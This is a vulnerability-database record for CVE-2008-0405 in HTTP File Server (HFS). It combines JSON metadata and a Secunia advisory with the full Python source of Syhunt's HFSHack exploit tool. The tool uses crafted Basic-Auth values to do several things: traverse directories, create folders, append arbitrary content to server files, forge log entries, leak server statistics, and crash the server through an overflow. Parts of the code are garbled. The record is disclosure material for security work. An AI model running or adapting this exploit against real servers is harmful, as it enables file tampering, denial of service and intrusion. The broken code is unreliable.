        "id": "CVE-2008-0405"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-200801-412"
      }
    ]
  },
  "sources_release_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2008-01-29T00:00:00",
        "db": "VULMON",
        "id": "CVE-2008-0405"
      },
      {
        "date": "2008-01-23T00:00:00",
        "db": "BID",
        "id": "27423"
      },
      {
        "date": "2012-09-25T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2008-003980"
      },
      {
        "date": "2008-01-25T07:43:48",
        "db": "PACKETSTORM",
        "id": "62961"
      },
      {
        "date": "2008-01-24T04:58:06",
        "db": "PACKETSTORM",
        "id": "62932"
      },
      {
        "date": "2008-01-24T04:53:54",
        "db": "PACKETSTORM",
        "id": "62931"
      },
      {
        "date": "2008-01-29T00:00:00",
        "db": "NVD",
        "id": "CVE-2008-0405"
      },
      {
        "date": "2008-01-28T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-200801-412"
      }
    ]
  },
  "sources_update_date": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
      "data": {
        "@container": "@list"
      }
    },
    "data": [
      {
        "date": "2018-10-15T00:00:00",
        "db": "VULMON",
        "id": "CVE-2008-0405"
      },
      {
        "date": "2016-07-05T22:00:00",
        "db": "BID",
        "id": "27423"
      },
      {
        "date": "2012-09-25T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2008-003980"
      },
      {
        "date": "2018-10-15T21:59:17.487000",
        "db": "NVD",
        "id": "CVE-2008-0405"
      },
      {
        "date": "2008-09-05T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-200801-412"
      }
    ]
  },
  "threat_type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/threat_type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "remote",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-200801-412"
      }
    ],
    "trust": 0.6
  },
  "title": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/title#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "HFS Vulnerable to directory traversal",
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2008-003980"
      }
    ],
    "trust": 0.8
  },
  "type": {
    "@context": {
      "@vocab": "https://www.variotdbs.pl/ref/type#",
      "sources": {
        "@container": "@list",
        "@context": {
          "@vocab": "https://www.variotdbs.pl/ref/sources#"
        }
      }
    },
    "data": "path traversal",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-200801-412"
      }
    ],
    "trust": 0.6
  }
}

var-200801-0096
Vulnerability from variot

HTTP File Server (HFS) before 2.2c allows remote attackers to obtain configuration and usage details by using an id element such as %version% in HTTP Basic Authentication instead of a username and password, as demonstrated by placing this id element in the userinfo subcomponent of a URL. HFS (HTTP File Server) is prone to multiple security vulnerabilities, including cross-site scripting issues, an information-disclosure issue, an arbitrary file-creation issue, a denial-of-service issue, a username-spoofing issue, and a logfile-forging issue. A successful exploit could allow an attacker to deny service to legitimate users, create and execute arbitrary files in the context of the webserver process, falsify log information, or execute arbitrary script code in the browser of an unsuspecting user. Other attacks are also possible.


A new version (0.9.0.0 - Release Candidate 1) of the free Secunia PSI has been released. The new version includes many new and advanced features, which makes it even easier to stay patched.

Download and test it today: https://psi.secunia.com/

Read more about this new version: https://psi.secunia.com/?page=changelog


TITLE: HTTP File Server Multiple Vulnerabilities

SECUNIA ADVISORY ID: SA28631

VERIFY ADVISORY: http://secunia.com/advisories/28631/

CRITICAL: Moderately critical

IMPACT: Cross Site Scripting, Spoofing, Manipulation of data, Exposure of system information, DoS, System access

WHERE:

From remote

SOFTWARE: HTTP File Server 2.x http://secunia.com/product/16793/

DESCRIPTION: Felipe Aragon and Alec Storm have reported some vulnerabilities and security issues in HTTP File Server, which can be exploited by malicious people to disclose system information, conduct spoofing and cross-site scripting attacks, bypass certain security restrictions, manipulate data, and potentially compromise a vulnerable system.

1) The application does not correctly log certain input. This can be exploited to e.g. spoof the username or inject arbitrary content into the logfile when logging in.

2) Certain input is not properly sanitised before being returned to a user.

3) It is possible to disclose certain information (e.g. number of connections, transfer speed, traffic statistics, or uptime) by sending specially crafted request containing template symbols.

4) The application does not correctly handle the username before using it to create the file name of the logfile. This can be exploited to create directories, append data to files, or to cause a buffer overflow by sending specially crafted requests to a vulnerable server.

Successful exploitation allows the execution of arbitrary code, but requires that the "%user%" template symbol is used to define the name of the logfile.

SOLUTION: Some of the vulnerabilities are fixed in version 2.2c.

Subscribe: http://secunia.com/secunia_security_advisories/

Definitions: (Criticality, Where etc.) http://secunia.com/about_secunia_advisories/

Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor.


Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org


. #!/usr/bin/python

"""

HFSHack 1.0b (By Felipe M. Examples:\n' ' manipf inject.html index.html or ..\..\index.html\n' ' Note: If the file does not exists, it will be created.\n\n' 'maniplog [localfilename]\n' ' Injects content of a local file to the HFS log panel and file\n\n' 'mkd [dirname]\n' ' Creates directories. Examples:\n' ' mkd Test or ..\..\Windows\Test\n\n' 'symbols\n' ' Forces HFS to reveal details about the server\n\n' 'ver\n' ' Forces HFS to show its version and build, and displays which\n\n' ' HFSHack commands are available for it\n' 'quit\n' ' Exits this application' '\r\n')

readme = ( '(c) 2008 Syhunt Security. All rights reserved.\n\n' 'This tool is provided ''as-is'', without any expressed or implied\n' 'warranty. In no event will the author be held liable for any\n' 'damages arising from the use of this tool.\n\n' 'Permission is granted to anyone to use this tool, and to alter\n' 'it and redistribute it freely, subject to the following\n' 'restrictions:\n\n' '1. The origin of this tool must not be misrepresented, you must\n' ' not claim that you wrote the original tool.\n\n' '2. Altered source versions must be plainly marked as such, and\n' ' must not be misrepresented as being the original plugin.\n\n' '3. This notice may not be removed or altered from any source\n' ' distribution.\n\n' 'If you have any questions concerning this license, please email\n' 'contact at syhunt dot com\n' )

about = ( '----------------------------------------------------------------\n' ' Syhunt HFSHack 1.0b\n' '----------------------------------------------------------------\n\n' 'This exploit tool should be used only by system administrators\n' '(or other people in charge).\n\n' 'Type "readme" and read the text before continuing\n\n' 'If you have already read it, type "help" to view a list of\n' 'commands.' )

Extra Details to Obtain

symbol_list = ( 'connections;Current number of connections to HFS', 'timestamp;Date and time of the server', 'uptime;Uptime', 'speed-out;Current outbound speed', 'speed-in;Current inbound speed', 'total-out;Total amount of bytes sent', 'total-downloads;Total amount of bytes sent', 'total-hits;Total Hits', 'total-uploads;Total Uploads', 'number-addresses;Current number of connected clients (IPs)', 'number-addresses-ever;Number of unique IPs ever connected', 'number-addresses-downloading;Current number of downloading clients (IPs)', )

Affected Versions

re_200801161 = '^HFS(.?)(2.[0-1]|2.2$|2.2[a-b]|2.3 beta)' re_200801162 = '^HFS(.?)(2.2$|2.2[a-b]|2.3 beta)' re_200801163 = '^HFS(.?)(1.5[f-g]|1.6|2.[0-1]|2.2$|2.2[a-b]|2.3 beta)' re_cangetver = '^HFS(.?)(2.[0-1]|2.2$|2.2[a-b])'

Common Messages

msg_par_mis = 'Parameter(s) missing.' msg_done = 'Done.\n' msg_acc_file = 'Error reading local file (file not found):' msg_help = 'Type "help" to view a list of commands.' msg_err_con = 'Error Connecting:' msg_fail = 'Failed.' msg_req_ok = 'Request accepted.'

uagent = 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; Syhunt HFSHack)'; path = '/' # Default Path

def dorequest(hpath,auth_data,s_msg,f_msg): globals()["rcvd"] = '' globals()["banner"] = '' url = 'http://'+host+hpath try: opener = urllib2.build_opener(url) opener.addheaders = [('User-agent', uagent)] if auth_data != '': opener.addheaders = [('Authorization', 'Basic '+auth_data)] globals()["rcvd"] = opener.open(url).readlines() if 'server' in opener.open(url).headers: globals()["banner"] = opener.open(url).headers['server'] except Exception, msg: if f_msg != '': print f_msg,msg return False else: if s_msg != '': print s_msg return True

def genbase64str(string): base64str = base64.encodestring(string); base64str = base64str.replace("\n","") return base64str

def readlocalfile(filename): file = open(filename, "r") text = file.readlines() file.close() print text filecontentstr = '' for l in text: filecontentstr = filecontentstr+l return filecontentstr

def ishostavailable(): return dorequest(path,'','',msg_err_con)

def getservinfo(symbol,desc): base64str = base64.encodestring('%'+symbol+'%'); if dorequest(path,base64str,'',msg_err_con): for l in rcvd: hfsver = re.findall('(.*?)', l) for r in hfsver: if r != []: hfsverdec = urllib2.unquote(hfsver[0]) if desc != '': print desc+': '+hfsverdec return hfsverdec else: return ''

def getallservinf(): for l in symbol_list: curl = l.split(';') getservinfo(curl[0],curl[1])

def hfsmkdir(dirname): base64str = genbase64str('\..\'+dirname+'\')+'AA'; dorequest(path,base64str,msg_req_ok,msg_fail)

def shutdownhfs(): dosstr = genbase64str('a' * 270 + ':') if dorequest(path,dosstr,msg_fail,'DoS executed.'): dorequest(path,'','Host is still up.','Host is now down.')

def hfsappendtofile(filename,string): base64str = genbase64str('\..\'+filename)+'AA'; dorequest('/?%0a'+string,base64str,msg_req_ok,msg_fail)

def hfsinjecttolog(string): base64str = genbase64str(string); dorequest('/',base64str,msg_req_ok,msg_fail)

def procparams(cmd): try: if len(cmd) > 0: if cmd[1] != []: globals()["host"] = cmd[1] except: print "No target info provided. Using localhost"

def checkxss(): if ishostavailable(): curver = getservinfo('version','') if curver != '': return 'XSS Found' else: return 'Not Vulnerable' else: return msg_fail

def isbanner(regex): p = re.compile(regex) m = p.match(banner) return m

def showacceptedcmds(): cmds = 'None (This server is not vulnerable)'; if isbanner(re_200801161): cmds = 'checkxss symbols ver' if isbanner(re_200801162): cmds = cmds+' manipf mkd checkdos' if isbanner(re_200801163): cmds = cmds+' maniplog' print '\nAvailable commands for this server:' print ' '+cmds+'\n'

def showver(): cangetver = True if banner != '': server_name = banner.split() print banner if server_name[0] != 'HFS': print 'Not running HFS!' cangetver = False else: if isbanner(re_cangetver): print 'Confirming version...' else: cangetver = False else: print 'No version information found.' print 'The "Send HFS identifier" option is probably disabled.' print 'Trying to force HFS to display its version...' if cangetver == True: idver = getservinfo('version','HFS version number') idbuild = getservinfo('build','HFS build number') globals()["banner"] = 'HFS '+idver+' '+idbuild showacceptedcmds()

def result(s): cmd = s.split() if len(cmd) > 0: curcmd = cmd[0] result = 'Invalid command. Type "help" for list of commands.' if curcmd == 'open': procparams(cmd) if ishostavailable(): showver() result = 'Connected.\n' else: result = msg_fail elif curcmd == 'symbols': if ishostavailable(): showver() print 'Forcing HFS to reveal more details...' getallservinf() result = msg_done elif curcmd == 'ver': if ishostavailable(): showver() result = msg_done elif curcmd == 'mkd': if len(cmd) > 1: if cmd[1] != []: hfsmkdir(cmd[1]) result = msg_done else: result = msg_par_mis elif curcmd == 'manipf': if len(cmd) > 2: try: localfilecontent = readlocalfile(cmd[1]) except Exception, msg: result = msg_acc_file,msg else: localfilecontent = localfilecontent.replace("\n","%0a") hfsappendtofile(cmd[2],localfilecontent) result = msg_done else: result = msg_par_mis elif curcmd == 'maniplog': if len(cmd) > 1: try: localfilecontent = readlocalfile(cmd[1]) except Exception, msg: result = msg_acc_file,msg else: hfsinjecttolog(localfilecontent) result = msg_done else: result = msg_par_mis elif curcmd == 'checkdos': shutdownhfs() result = msg_done elif curcmd == 'checkxss': result = checkxss() elif curcmd == 'help': result = help elif curcmd == 'readme': result = readme elif curcmd == 'quit': result = 'Bye!' return result else: return msg_help

print about

s = "" while s != "quit": try: s = raw_input(">") except EOFError: s = "quit" print s print result(s). According to information on the official website, the HTTP File Server software has been downloaded about 2 million times.

Description: When a specific URL is visited, HFS displays a non-existent account name in the response body. This non-existent account name can be HTML code, allowing a remote attacker to use this to launch XSS attacks.

Because the HTML code is also recognized by the web server as a HFS HTML template, it is also possible to inject symbols to force HFS to reveal details about the server (eg, current HFS server version, build, connections, timestamp, uptime, current outbound and inbound speed, and more). Technical details are included below.


Details (Replicating the issues):

1) Cross-Site Scripting (XSS) and Host Field XSS Vulnerabilities Example 1 - Launching a basic XSS: http://